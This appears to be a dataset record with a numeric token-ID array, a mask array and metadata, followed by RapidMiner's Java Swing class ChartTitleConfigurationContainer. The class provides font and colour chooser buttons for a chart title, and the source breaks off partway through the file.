1437,
391,
7649,
341,
11781,
682,
338,
496,
772,
3481,
3468,
341,
1671,
2174,
1716,
1118,
545,
4180,
682,
338,
496,
772,
24493,
458,
341,
7348,
24493,
682,
338,
496,
620,
341,
350,
887,
67,
9750,
396,
887,
67,
1437,
682,
338,
496,
8152,
244,
54,
51,
56,
682,
588,
353,
964,
924,
3447,
1197,
9356,
56,
471,
57,
45,
2278,
1197,
1932,
49,
648,
1581,
3468,
49,
416,
648,
1952,
11997,
3656,
49,
3447,
1197,
8061,
49,
648,
3481,
3468,
49,
3447,
1197,
24493,
46,
320,
303,
453,
1485,
54,
2052,
55,
2052,
56,
303,
453,
244,
53,
54,
55,
56,
57,
58,
59,
60,
61,
62,
53,
54,
55,
56,
57,
58,
59,
60,
61,
62,
53,
54,
55,
56,
57,
58,
59,
60,
61,
62,
53,
54,
7600,
2764,
303,
453,
24603,
53,
53,
53,
53,
53,
53,
53,
53,
54,
54,
54,
54,
54,
54,
54,
54,
55,
55,
55,
55,
55,
55,
55,
55,
2647,
2764,
664,
8058,
3656,
303,
453,
24603,
129,
283,
1293,
283,
1293,
283,
1293,
283,
542,
47422,
3510,
8374,
391,
1671,
24493,
303,
453,
2052,
3789,
54,
61,
244,
3789,
54,
55,
244,
3789,
244,
59,
244,
3789,
244,
53,
244,
11575,
5746,
7527,
303,
453,
442,
53,
125,
56,
107,
280,
53,
125,
56,
107,
280,
53,
125,
56,
107,
244,
16340,
3133,
465,
453,
2673,
3129,
642,
5953,
50,
5297,
434,
2038,
904,
1773,
1611,
575,
3161,
303,
453,
14762,
3534,
5424,
347,
341,
1437,
51,
303,
453,
2726,
1178,
391,
5746,
2859,
244,
55,
57,
347,
2554,
391,
15037,
986,
341,
244,
54,
1200,
708,
9268,
303,
453,
1429,
4957,
9685,
1990,
331,
804,
641,
11058,
708,
458,
9947,
664,
331,
3447,
391,
619,
648,
51,
303,
648,
347,
20334,
299,
310,
327,
1538,
11997,
3656,
868,
244,
53,
1037,
1849,
1876,
96,
1634,
3468,
98,
1281,
244,
55,
57,
46,
8257,
244,
61,
46,
518,
244,
53,
46,
343,
542,
327,
1538,
11997,
3656,
868,
244,
54,
1037,
1849,
1876,
96,
1634,
3468,
494,
244,
54,
98,
1281,
244,
55,
57,
46,
8257,
244,
54,
59,
46,
518,
244,
53,
46,
343,
542,
327,
1538,
11997,
3656,
868,
244,
55,
1037,
1849,
1876,
96,
1634,
3468,
494,
244,
55,
98,
1281,
244,
55,
57,
46,
8257,
244,
55,
57,
46,
518,
244,
53,
312,
465,
3593,
327,
1538,
11997,
3656,
46,
320,
416,
1152,
244,
56,
63,
310,
8061,
96,
3332,
3468,
98,
299,
24493,
9448,
285,
20334,
8257,
244,
54,
61,
16741,
310,
8061,
96,
3332,
3468,
494,
244,
54,
98,
299,
24493,
9448,
285,
20334,
8257,
244,
54,
55,
46,
568,
244,
53,
125,
56,
107,
988,
310,
8061,
96,
3332,
3468,
494,
244,
55,
98,
299,
24493,
9448,
285,
20334,
8257,
244,
59,
46,
568,
244,
53,
125,
56,
107,
988,
310,
8061,
96,
3332,
3468,
494,
244,
56,
98,
299,
24493,
9448,
285,
20334,
46,
568,
244,
53,
125,
56,
107,
988,
310,
461,
8061,
64,
416,
1152,
244,
55,
63,
310,
8061,
96,
3332,
3468,
98,
299,
24493,
9448,
285,
20334,
8257,
244,
54,
61,
16741,
310,
8061,
96,
3332,
3468,
494,
244,
54,
98,
299,
24493,
9448,
285,
20334,
8257,
244,
54,
55,
46,
568,
244,
53,
125,
56,
107,
988,
310,
8061,
96,
3332,
3468,
494,
244,
55,
98,
299,
24493,
9448,
285,
20334,
8257,
244,
59,
46,
568,
244,
53,
125,
56,
107,
988,
310,
8061,
96,
3332,
3468,
494,
244,
56,
98,
299,
48844,
88,
100,
9876,
64,
310,
461,
8061,
64,
416,
1152,
244,
54,
63,
310,
8061,
96,
3332,
3468,
98,
299,
24493,
9448,
285,
20334,
8257,
244,
54,
61,
16741,
310,
8061,
96,
3332,
3468,
494,
244,
54,
98,
299,
24493,
9448,
285,
20334,
8257,
244,
54,
55,
46,
568,
244,
53,
125,
56,
107,
988,
310,
8061,
96,
3332,
3468,
494,
244,
55,
98,
299,
48844,
88,
100,
9876,
64,
310,
8061,
96,
3332,
3468,
494,
244,
56,
98,
299,
48844,
88,
100,
9876,
64,
310,
461,
8061,
64,
416,
1263,
63,
310,
461,
8061,
64,
303,
339,
453,
962,
3593,
353,
339,
453,
962,
9356,
56,
471,
57,
736,
1041,
682,
338,
2445,
7800,
331,
3447,
1437,
2012,
3787,
59,
57,
27678,
51,
682,
338,
535,
11144,
391,
8294,
682,
338,
3105,
707,
9356,
3656,
45,
1876,
49,
244,
53,
49,
1932,
51,
1340,
4416,
682,
338,
682,
338,
496,
772,
1932,
906,
727,
391,
4511,
682,
338,
496,
8152,
244,
54,
51,
57,
682,
588,
353,
581,
924,
910,
9356,
45,
2278,
1197,
1932,
46,
320,
303,
461,
9356,
45,
1876,
49,
244,
53,
49,
1932,
51,
1340,
49,
6066,
4976,
1336,
1235,
49,
878,
312,
353,
339,
736,
1041,
682,
338,
2445,
7800,
331,
3447,
1437,
2012,
2692,
10065,
3787,
59,
57,
27678,
51,
682,
338,
682,
338,
496,
772,
1932,
906,
727,
391,
4511,
682,
338,
496,
772,
764,
10350,
458,
3105,
707,
878,
130,
391,
9841,
1074,
642,
33979,
16668,
682,
338,
370,
434,
580,
1976,
666,
16841,
563,
244,
56,
3447,
28203,
682,
588,
353,
581,
924,
910,
9356,
2609,
11684,
45,
2278,
1197,
1932,
49,
1922,
764,
10350,
46,
320,
303,
461,
9356,
45,
1876,
49,
244,
53,
49,
1932,
51,
1340,
49,
26967,
24187,
100,
18174,
1336,
1235,
49,
764,
10350,
312,
353,
339,
736,
1041,
682,
338,
2445,
7800,
331,
3447,
1437,
2012,
3787,
59,
57,
27678,
51,
682,
338,
682,
338,
496,
772,
1932,
341,
727,
391,
4511,
682,
338,
496,
772,
2143,
3413,
347,
1437,
2174,
11781,
1414,
4258,
682,
338,
496,
772,
2095,
3124,
451,
727,
391,
4511,
682,
338,
496,
772,
24493,
341,
7348,
24493,
682,
338,
496,
772,
764,
10350,
458,
3105,
707,
878,
130,
391,
9841,
1074,
642,
33979,
16668,
682,
338,
434,
580,
1976,
666,
16841,
563,
244,
56,
3447,
28203,
682,
338,
496,
8152,
244,
54,
51,
57,
682,
588,
353,
581,
924,
910,
9356,
45,
2278,
1197,
1932,
49,
648,
2143,
49,
648,
2095,
49,
3447,
1197,
24493,
49,
416,
1922,
764,
10350,
46,
320,
303,
3447,
1197,
986,
20334,
299,
9356,
45,
1876,
49,
2143,
49,
2095,
49,
24493,
49,
4418,
51,
3470,
100,
5986,
312,
303,
648,
986,
5752,
299,
986,
20334,
51,
1340,
64,
465,
453,
1691,
764,
10350,
458,
920,
49,
758,
3124,
391,
32096,
33979,
303,
453,
3747,
7152,
303,
2236,
327,
1428,
10350,
630,
920,
979,
986,
5752,
868,
244,
53,
46,
320,
416,
434,
327,
560,
20334,
96,
560,
5752,
449,
244,
54,
98,
882,
36469,
704,
320,
310,
1644,
64,
416,
339,
416,
986,
5752,
5928,
244,
54,
64,
303,
339,
465,
461,
556,
910,
45,
560,
20334,
49,
244,
53,
49,
986,
5752,
312,
353,
339,
736,
1041,
682,
338,
2445,
7800,
331,
3447,
1437,
2012,
3787,
59,
57,
27678,
51,
682,
338,
682,
338,
496,
772,
1932,
341,
727,
391,
4511,
682,
338,
496,
772,
2143,
3413,
347,
1437,
2174,
11781,
1414,
4258,
682,
338,
496,
772,
2095,
3124,
451,
727,
391,
4511,
682,
338,
496,
772,
24493,
458,
341,
7348,
24493,
682,
338,
496,
772,
1788,
1829,
2396,
7123,
3124,
451,
1611,
1646,
51,
682,
338,
496,
620,
341,
21576,
59,
57,
50,
12631,
3447,
1437,
682,
588,
353,
581,
924,
3447,
1197,
9356,
45,
2278,
1197,
1932,
49,
648,
2143,
49,
648,
2095,
49,
3447,
1197,
24493,
49,
416,
648,
1788,
1829,
2396,
46,
320,
303,
648,
2095,
6792,
56,
299,
327,
1688,
494,
244,
55,
46,
536,
244,
56,
64,
453,
35488,
45,
1688,
536,
244,
56,
46,
303,
648,
2095,
57,
56,
299,
2095,
6792,
56,
338,
244,
57,
64,
303,
3447,
1197,
986,
20334,
299,
556,
3447,
96,
1688,
57,
56,
453,
6697,
244,
57,
63,
56,
310,
494,
327,
1688,
57,
56,
536,
1788,
1829,
2396,
16741,
453,
3153,
5452,
465,
648,
362,
299,
244,
53,
64,
303,
648,
503,
299,
244,
53,
64,
303,
648,
2095,
55,
299,
2095,
449,
244,
55,
64,
303,
648,
1646,
2396,
299,
244,
53,
64,
303,
456,
23011,
362,
350,
2095,
55,
64,
362,
1475,
244,
56,
49,
503,
1475,
244,
57,
46,
320,
1704,
453,
906,
2434,
2181,
451,
1361,
458,
341,
2454,
641,
416,
453,
9356,
56,
471,
57,
45,
1932,
49,
362,
494,
2143,
49,
244,
56,
49,
986,
20334,
49,
503,
49,
24493,
1110,
416,
453,
1294,
347,
14141,
456,
15211,
7348,
17341,
55,
53,
42,
26330,
46,
416,
648,
347,
20334,
299,
633,
1849,
1876,
96,
105,
494,
2143,
98,
1281,
244,
55,
57,
46,
8257,
244,
61,
46,
1108,
542,
1849,
1876,
96,
105,
494,
244,
54,
494,
2143,
98,
1281,
244,
55,
57,
46,
8257,
244,
54,
59,
46,
1108,
542,
1849,
1876,
96,
105,
494,
244,
55,
494,
2143,
98,
1281,
244,
55,
57,
46,
8257,
244,
55,
57,
312,
416,
986,
20334,
96,
106,
98,
299,
24493,
9448,
285,
20334,
8257,
244,
54,
61,
16741,
416,
986,
20334,
96,
106,
494,
244,
54,
98,
299,
24493,
9448,
285,
20334,
8257,
244,
54,
55,
46,
568,
244,
53,
125,
56,
107,
988,
416,
986,
20334,
96,
106,
494,
244,
55,
98,
299,
24493,
9448,
285,
20334,
8257,
244,
59,
46,
568,
244,
53,
125,
56,
107,
988,
416,
986,
20334,
96,
106,
494,
244,
56,
98,
299,
24493,
9448,
285,
20334,
46,
568,
244,
53,
125,
56,
107,
988,
1704,
1646,
2396,
1475,
244,
57,
64,
416,
434,
327,
948,
2396,
630,
1788,
1829,
2396,
46,
320,
310,
986,
20334,
96,
106,
494,
244,
57,
98,
299,
20809,
100,
4794,
64,
310,
503,
3348,
310,
1646,
2396,
299,
244,
53,
64,
416,
339,
453,
962,
434,
63,
962,
451,
1646,
303,
339,
453,
962,
456,
63,
2531,
15386,
451,
1437,
465,
434,
327,
105,
350,
2095,
46,
320,
416,
9356,
56,
471,
57,
45,
1876,
49,
362,
494,
2143,
49,
2095,
449,
362,
49,
986,
20334,
49,
503,
49,
24493,
312,
1704,
1646,
2396,
1475,
244,
57,
64,
416,
434,
327,
948,
2396,
630,
1788,
1829,
2396,
46,
320,
310,
453,
2242,
331,
2419,
25592,
310,
986,
20334,
96,
106,
494,
244,
57,
98,
299,
20809,
100,
4794,
64,
310,
503,
3348,
416,
339,
416,
503,
1475,
244,
57,
64,
303,
339,
465,
1217,
327,
106,
630,
986,
20334,
51,
1340,
312,
303,
461,
986,
20334,
64,
353,
339,
8886,
1276,
338,
14525,
244,
493,
535,
409,
565,
493,
457,
508,
590,
280,
507,
535,
413,
696,
565,
493,
377,
244,
338,
14525,
588,
8886,
1041,
682,
338,
1531,
7800,
12109,
3534,
664,
1437,
350,
887,
67,
1876,
396,
887,
67,
682,
338,
480,
19411,
341,
14341,
3534,
327,
436,
391,
8058,
451,
3049,
46,
682,
338,
391,
350,
887,
67,
9750,
396,
887,
4513,
682,
338,
906,
1932,
480,
8061,
12146,
902,
545,
17385,
10781,
682,
338,
24323,
7979,
3641,
3124,
829,
17255,
682,
338,
350,
887,
67,
1634,
3468,
396,
887,
67,
480,
350,
887,
67,
3332,
3468,
396,
887,
4513,
682,
338,
1369,
1431,
1976,
666,
1524,
391,
1949,
3673,
1390,
12146,
682,
338,
904,
7650,
8473,
391,
1449,
29986,
351,
350,
887,
67,
1634,
3468,
396,
887,
67,
494,
244,
57,
456,
682,
338,
341,
350,
887,
67,
1876,
396,
887,
67,
1437,
575,
350,
887,
67,
3332,
3468,
396,
887,
67,
494,
244,
56,
456,
682,
338,
341,
350,
887,
67,
9750,
396,
887,
67,
1437,
51,
682,
338,
1369,
1431,
3235,
341,
4668,
1470,
451,
3534,
708,
682,
338,
4547,
12829,
664,
341,
3787,
59,
57,
7348,
51,
682,
338,
682,
338,
682,
338,
496,
772,
1932,
341,
1437,
391,
4511,
682,
338,
496,
772,
1581,
3468,
341,
1671,
2174,
11781,
30695,
682,
338,
496,
772,
8061,
341,
1437,
391,
7649,
341,
11781,
682,
338,
496,
772,
3481,
3468,
341,
1671,
2174,
1716,
1118,
545,
4180,
682,
338,
496,
772,
428,
10777,
13846,
341,
428,
10777,
13846,
456,
28152,
3787,
59,
57,
1813,
682,
338,
496,
620,
341,
1470,
451,
17355,
3534,
12829,
682,
338,
496,
8152,
244,
54,
51,
56,
682,
588,
353,
964,
924,
648,
9860,
57,
471,
56,
45,
2278,
1197,
1932,
49,
648,
1581,
3468,
49,
416,
3447,
1197,
8061,
49,
648,
3481,
3468,
49,
3447,
1197,
428,
10777,
13846,
46,
320,
303,
453,
5958,
63,
493,
112,
398,
303,
434,
327,
1876,
96,
1634,
3468,
494,
244,
55,
98,
630,
48844,
88,
100,
9876,
46,
320,
416,
648,
986,
20334,
299,
633,
1849,
305,
10777,
13846,
96,
1876,
96,
1634,
3468,
3234,
1281,
244,
55,
57,
46,
8257,
244,
59,
46,
1108,
542,
1849,
305,
10777,
13846,
96,
1876,
96,
1634,
3468,
494,
244,
54,
3234,
1281,
244,
55,
57,
46,
8257,
244,
54,
55,
312,
1704,
8061,
96,
3332,
3468,
98,
299,
327,
2278,
46,
327,
560,
20334,
8257,
244,
54,
59,
312,
416,
461,
244,
54,
64,
303,
339,
832,
434,
327,
1876,
96,
1634,
3468,
494,
244,
56,
98,
630,
48844,
88,
100,
9876,
46,
320,
416,
453,
5958,
63,
493,
112,
81,
66,
416,
648,
986,
20334,
299,
633,
1849,
305,
10777,
13846,
96,
1876,
96,
1634,
3468,
3234,
1281,
244,
55,
57,
46,
8257,
244,
59,
46,
1108,
542,
1849,
305,
10777,
13846,
96,
1876,
96,
1634,
3468,
494,
244,
54,
3234,
1281,
244,
55,
57,
46,
8257,
244,
54,
55,
46,
1108,
542,
1849,
305,
10777,
13846,
96,
1876,
96,
1634,
3468,
494,
244,
55,
3234,
1281,
244,
55,
57,
46,
8257,
244,
54,
61,
312,
1704,
8061,
96,
3332,
3468,
98,
299,
327,
2278,
46,
327,
560,
20334,
8257,
244,
54,
59,
312,
416,
8061,
96,
3332,
3468,
494,
244,
54,
98,
299,
327,
2278,
46,
327,
560,
20334,
8257,
244,
61,
312,
416,
461,
244,
55,
64,
303,
339,
832,
320,
416,
453,
5958,
63,
493,
112,
833,
416,
648,
986,
20334,
299,
633,
1849,
305,
10777,
13846,
96,
1876,
96,
1634,
3468,
3234,
1281,
244,
55,
57,
46,
8257,
244,
59,
46,
1108,
542,
1849,
305,
10777,
13846,
96,
1876,
96,
1634,
3468,
494,
244,
54,
3234,
1281,
244,
55,
57,
46,
8257,
244,
54,
55,
46,
1108,
542,
1849,
305,
10777,
13846,
96,
1876,
96,
1634,
3468,
494,
244,
55,
3234,
1281,
244,
55,
57,
46,
8257,
244,
54,
61,
46,
1108,
542,
1849,
305,
10777,
13846,
96,
1876,
96,
1634,
3468,
494,
244,
56,
3234,
1281,
244,
55,
57,
46,
8257,
244,
55,
57,
312,
1704,
8061,
96,
3332,
3468,
98,
299,
327,
2278,
46,
327,
560,
20334,
3789,
244,
54,
59,
312,
416,
8061,
96,
3332,
3468,
494,
244,
54,
98,
299,
327,
2278,
46,
327,
560,
20334,
3789,
244,
61,
312,
416,
8061,
96,
3332,
3468,
494,
244,
55,
98,
299,
327,
2278,
46,
327,
560,
20334,
312,
416,
461,
244,
56,
64,
303,
339,
353,
339,
453,
962,
9860,
45615,
8886,
1041,
682,
338,
1531,
7800,
727,
664,
3787,
59,
57,
27678,
51,
682,
338,
682,
338,
496,
772,
328,
341,
821,
391,
9860,
327,
18585,
347,
1263,
7348,
46,
682,
338,
496,
620,
341,
17355,
727,
682,
338,
496,
8152,
244,
54,
51,
57,
682,
588,
353,
581,
924,
3447,
1197,
9860,
45,
671,
328,
46,
2589,
3787,
59,
57,
11718,
1002,
320,
303,
3447,
1197,
3534,
299,
328,
51,
19682,
492,
303,
461,
9860,
45,
3669,
49,
244,
53,
49,
3534,
51,
1340,
312,
353,
339,
736,
1041,
682,
338,
1531,
7800,
727,
664,
2692,
10065,
3787,
59,
57,
27678,
51,
682,
338,
3718,
10065,
7348,
5268,
20524,
4203,
451,
21633,
27773,
4203,
451,
13642,
682,
338,
682,
338,
496,
772,
328,
341,
821,
391,
9860,
327,
18585,
347,
1263,
7348,
46,
682,
338,
496,
620,
341,
17355,
727,
682,
588,
353,
581,
924,
3447,
1197,
9860,
2609,
11684,
45,
671,
328,
46,
2589,
3787,
59,
57,
11718,
1002,
320,
303,
3447,
1197,
3534,
299,
328,
51,
19682,
492,
303,
461,
9860,
2609,
11684,
45,
3669,
49,
244,
53,
49,
3534,
51,
1340,
312,
353,
339,
736,
1041,
682,
338,
1531,
7800,
3787,
59,
57,
1813,
347,
3447,
1437,
2224,
480,
3235,
682,
338,
341,
17355,
3447,
1437,
51,
682,
338,
682,
338,
496,
772,
1932,
906,
3787,
59,
57,
11849,
727,
682,
338,
496,
620,
17355,
727,
682,
338,
496,
8152,
244,
54,
51,
56,
682,
338,
496,
5124,
3787,
59,
57,
11718,
1002,
682,
588,
353,
581,
924,
3447,
1197,
9860,
45,
2278,
1197,
1932,
46,
2589,
3787,
59,
57,
11718,
1002,
320,
303,
461,
9860,
45,
1876,
49,
244,
53,
49,
1932,
51,
1340,
312,
353,
339,
736,
1041,
682,
338,
1531,
7800,
2692,
10065,
3787,
59,
57,
1813,
347,
3447,
1437,
2224,
480,
3235,
682,
338,
341,
17355,
727,
51,
682,
338,
3718,
10065,
7348,
5268,
20524,
4203,
451,
21633,
27773,
4203,
451,
13642,
682,
338,
682,
338,
496,
772,
1932,
341,
821,
391,
9860,
327,
18585,
347,
1263,
7348,
46,
682,
338,
496,
620,
341,
17355,
727,
682,
588,
353,
581,
924,
3447,
1197,
9860,
2609,
11684,
45,
2278,
1197,
1932,
46,
416,
2589,
3787,
59,
57,
11718,
1002,
320,
303,
461,
9860,
2609,
11684,
45,
1876,
49,
244,
53,
49,
1932,
51,
1340,
312,
353,
339,
736,
1041,
682,
338,
1531,
7800,
3787,
59,
57,
1813,
347,
3447,
1437,
2224,
480,
3235,
682,
338,
341,
17355,
3447,
1437,
51,
682,
338,
682,
338,
496,
772,
1932,
341,
3787,
59,
57,
11849,
727,
682,
338,
496,
772,
2143,
283,
341,
3413,
451,
2174,
391,
4258,
28152,
682,
338,
496,
772,
2095,
283,
341,
3124,
451,
7152,
391,
9860,
682,
338,
496,
620,
17355,
727,
682,
338,
496,
8152,
244,
54,
51,
56,
682,
338,
496,
5124,
3787,
59,
57,
11718,
1002,
682,
588,
353,
581,
924,
3447,
1197,
9860,
45,
2278,
1197,
1932,
49,
648,
2143,
49,
648,
2095,
46,
416,
2589,
3787,
59,
57,
11718,
1002,
320,
303,
461,
9860,
45,
1876,
49,
2143,
49,
2095,
49,
2295,
23048,
1336,
1235,
312,
353,
339,
736,
1041,
682,
338,
1531,
7800,
2692,
10065,
3787,
59,
57,
1813,
347,
3447,
1437,
2224,
480,
3235,
682,
338,
341,
17355,
3447,
1437,
51,
682,
338,
3718,
10065,
7348,
5268,
20524,
4203,
451,
21633,
27773,
4203,
451,
13642,
682,
338,
682,
338,
496,
772,
1932,
341,
3787,
59,
57,
11849,
727,
682,
338,
496,
772,
2143,
283,
341,
3413,
451,
2174,
391,
4258,
28152,
682,
338,
496,
772,
2095,
283,
341,
3124,
451,
7152,
391,
9860,
682,
338,
496,
620,
17355,
727,
682,
588,
353,
581,
924,
3447,
1197,
9860,
2609,
11684,
45,
2278,
1197,
1932,
49,
648,
2143,
49,
648,
2095,
46,
416,
2589,
3787,
59,
57,
11718,
1002,
320,
303,
461,
9860,
45,
1876,
49,
2143,
49,
2095,
49,
26967,
24187,
100,
869,
23048,
1336,
1235,
312,
353,
339,
736,
1041,
682,
338,
1531,
7800,
3787,
59,
57,
1813,
1493,
341,
13810,
428,
10777,
13846,
480,
3235,
682,
338,
341,
17355,
3447,
1437,
51,
682,
338,
682,
338,
496,
772,
1932,
341,
3787,
59,
57,
11849,
727,
682,
338,
496,
772,
2143,
341,
3413,
451,
2174,
391,
4258,
28152,
682,
338,
496,
772,
2095,
341,
3124,
451,
7152,
391,
9860,
682,
338,
496,
772,
428,
10777,
13846,
341,
428,
10777,
13846,
456,
28152,
3787,
59,
57,
1813,
682,
338,
496,
620,
17355,
727,
682,
588,
353,
581,
924,
3447,
1197,
9860,
45,
2278,
1197,
1932,
49,
648,
2143,
49,
648,
2095,
49,
3447,
1197,
428,
10777,
13846,
46,
416,
2589,
3787,
59,
57,
11718,
1002,
320,
303,
648,
2095,
56,
57,
299,
2095,
338,
244,
56,
536,
244,
57,
64,
303,
3447,
1197,
986,
20334,
299,
556,
3447,
96,
55,
494,
2095,
56,
57,
988,
453,
42028,
2741,
563,
1354,
451,
1716,
303,
648,
986,
20334,
3010,
115,
299,
244,
53,
64,
465,
3447,
1197,
342,
57,
299,
556,
3447,
96,
57,
988,
303,
648,
342,
57,
3010,
115,
299,
244,
53,
64,
303,
648,
613,
299,
244,
53,
64,
303,
3447,
6127,
110,
24706,
299,
244,
53,
64,
303,
3447,
6127,
110,
11869,
299,
244,
53,
64,
303,
456,
327,
110,
299,
244,
53,
64,
613,
350,
2095,
64,
613,
2002,
320,
416,
6127,
110,
24706,
299,
327,
2278,
46,
327,
1876,
96,
110,
494,
2143,
98,
568,
244,
53,
125,
60,
107,
312,
453,
9303,
341,
7487,
46204,
7037,
416,
6127,
110,
11869,
299,
428,
10777,
13846,
96,
5692,
110,
24706,
988,
1704,
434,
327,
5692,
110,
11869,
2394,
8746,
2363,
100,
13174,
100,
8771,
46,
320,
453,
24759,
5153,
21680,
2613,
575,
6106,
310,
434,
327,
5692,
110,
11869,
2394,
48844,
88,
100,
9876,
100,
8771,
46,
320,
633,
453,
2262,
12432,
2613,
327,
999,
3747,
46,
2315,
666,
13820,
840,
2764,
244,
53,
575,
244,
54,
633,
453,
480,
2315,
545,
341,
2419,
3447,
96,
120,
98,
347,
341,
11849,
804,
633,
434,
327,
5692,
110,
24706,
630,
48844,
88,
100,
9876,
46,
320,
343,
648,
3534,
3695,
299,
2095,
449,
613,
64,
343,
3447,
2419,
3945,
299,
327,
2278,
46,
327,
1876,
96,
1688,
449,
244,
54,
494,
2143,
98,
568,
244,
53,
125,
60,
107,
312,
343,
434,
327,
103,
57,
3010,
115,
630,
244,
53,
1293,
342,
57,
3010,
115,
630,
244,
54,
46,
320,
1108,
1440,
556,
3787,
59,
57,
11718,
1002,
45,
1764,
332,
5798,
3747,
3447,
33979,
840,
3447,
3413,
332,
494,
613,
312,
343,
339,
832,
434,
1849,
103,
57,
3010,
115,
630,
244,
56,
979,
3534,
3695,
868,
244,
55,
46,
419,
1293,
327,
103,
57,
3010,
115,
630,
244,
57,
979,
3534,
3695,
868,
244,
54,
509,
320,
1108,
1440,
556,
3787,
59,
57,
11718,
1002,
45,
1764,
332,
5297,
3447,
33979,
920,
651,
20713,
962,
451,
11849,
804,
332,
2876,
494,
332,
288,
3413,
332,
494,
613,
312,
343,
339,
832,
434,
327,
2153,
3945,
882,
48844,
88,
100,
9876,
979,
2419,
3945,
882,
20809,
100,
4794,
46,
320,
1108,
1440,
556,
3787,
59,
57,
11718,
1002,
45,
1764,
332,
12631,
804,
1421,
5549,
19942,
3447,
742,
343,
339,
343,
1644,
64,
633,
339,
5682,
342,
57,
96,
103,
57,
3010,
115,
13415,
299,
6127,
110,
24706,
64,
633,
434,
327,
103,
57,
3010,
115,
630,
244,
57,
46,
320,
343,
986,
20334,
3010,
115,
1475,
9860,
57,
471,
56,
45,
103,
57,
49,
244,
53,
49,
986,
20334,
49,
986,
20334,
3010,
115,
49,
428,
10777,
13846,
312,
343,
342,
57,
3010,
115,
299,
244,
53,
64,
633,
339,
310,
339,
416,
339,
832,
320,
310,
1440,
556,
3787,
59,
57,
11718,
1002,
459,
8421,
3787,
59,
57,
1533,
5373,
840,
332,
494,
613,
343,
494,
10697,
332,
494,
1932,
96,
110,
494,
2143,
98,
494,
11616,
12730,
13365,
416,
339,
303,
339,
465,
453,
18424,
2692,
10065,
7348,
6990,
3000,
3747,
1712,
59,
57,
949,
7800,
49,
1019,
303,
453,
1868,
391,
9841,
341,
6125,
451,
341,
342,
57,
3129,
642,
5058,
39844,
1429,
303,
453,
342,
57,
3010,
115,
882,
244,
53,
51,
244,
5825,
902,
545,
840,
4665,
244,
55,
5058,
39844,
840,
341,
962,
451,
303,
453,
12109,
7152,
49,
1278,
341,
342,
57,
3129,
2315,
1178,
3161,
575,
8058,
303,
453,
7152,
51,
244,
1369,
2353,
10558,
2927,
341,
1152,
2174,
341,
1533,
458,
303,
453,
35999,
642,
48844,
88,
100,
9876,
303,
434,
327,
103,
57,
3010,
115,
882,
244,
53,
46,
320,
416,
434,
327,
103,
57,
3010,
115,
630,
244,
54,
46,
320,
310,
1440,
556,
3787,
59,
57,
11718,
1002,
459,
6290,
19942,
5373,
840,
3413,
332,
343,
494,
327,
1688,
449,
244,
54,
894,
416,
339,
416,
342,
57,
96,
103,
57,
3010,
115,
13415,
299,
48844,
88,
100,
9876,
64,
416,
986,
20334,
3010,
115,
1475,
9860,
57,
471,
56,
45,
103,
57,
49,
244,
53,
49,
986,
20334,
49,
986,
20334,
3010,
115,
49,
428,
10777,
13846,
312,
303,
339,
465,
3447,
1197,
986,
299,
556,
3447,
96,
560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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 7,925
| true
| 50.701034
| true
| true
|
ChartTitleConfigurationContainer.java
|
/FileExtraction/Java_unseen/rapidminer_rapidminer-5/src/com/rapidminer/gui/new_plotter/gui/ChartTitleConfigurationContainer.java
|
/*
* RapidMiner
*
* Copyright (C) 2001-2014 by RapidMiner and the contributors
*
* Complete list of developers available at our web site:
*
* http://rapidminer.com
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with this program. If not, see http://www.gnu.org/licenses/.
*/
package com.rapidminer.gui.new_plotter.gui;
import java.awt.Color;
import java.awt.Font;
import java.awt.event.ActionEvent;
import javax.swing.JButton;
import javax.swing.JColorChooser;
import javax.swing.JLabel;
import com.rapidminer.gui.new_plotter.configuration.PlotConfiguration;
import com.rapidminer.gui.new_plotter.data.PlotInstance;
import com.rapidminer.gui.new_plotter.listener.events.PlotConfigurationChangeEvent;
import com.rapidminer.gui.tools.ResourceAction;
import com.rapidminer.gui.tools.ResourceLabel;
import com.rapidminer.tools.I18N;
/**
* @author Nils Woehler
*
*/
public class ChartTitleConfigurationContainer extends AbstractConfigurationPanel {
private static final long serialVersionUID = 1L;
private ResourceLabel titleFontLabel;
private JButton titleFontChooserButton;
private JButton titleColorChooserButton;
public ChartTitleConfigurationContainer(PlotInstance plotInstance) {
super(plotInstance);
createComponents();
adaptGUI();
}
private void createComponents() {
// create axes font row
{
titleFontLabel = new ResourceLabel("plotter.configuration_dialog.title_font");
titleFontChooserButton = new JButton(new ResourceAction(true, "plotter.configuration_dialog.title_font") {
private static final long serialVersionUID = 1L;
@Override
public void actionPerformed(ActionEvent e) {
createTitleFontDialog();
}
});
titleFontLabel.setLabelFor(titleFontChooserButton);
addTwoComponentRow(this, titleFontLabel, titleFontChooserButton);
}
// add domain axis line color chooser
{
JLabel titleColorLabel = new ResourceLabel("plotter.configuration_dialog.title_color");
titleColorChooserButton = new JButton(new ResourceAction(true, "plotter.configuration_dialog.title_color") {
private static final long serialVersionUID = 1L;
@Override
public void actionPerformed(ActionEvent e) {
createTitleColorDialog();
}
});
titleColorLabel.setLabelFor(titleColorChooserButton);
addTwoComponentRow(this, titleColorLabel, titleColorChooserButton);
}
}
@Override
protected void adaptGUI() {
}
private void createTitleColorDialog() {
Color oldColor = getPlotConfiguration().getTitleColor();
if (oldColor == null) {
oldColor = PlotConfiguration.DEFAULT_TITLE_COLOR;
}
Color newLineColor = JColorChooser.showDialog(this,
I18N.getGUILabel("plotter.configuration_dialog.global_config_panel.title_font_color_title.label"), oldColor);
if (newLineColor != null && !(newLineColor.equals(oldColor))) {
getPlotConfiguration().setTitleColor(newLineColor);
}
}
private void createTitleFontDialog() {
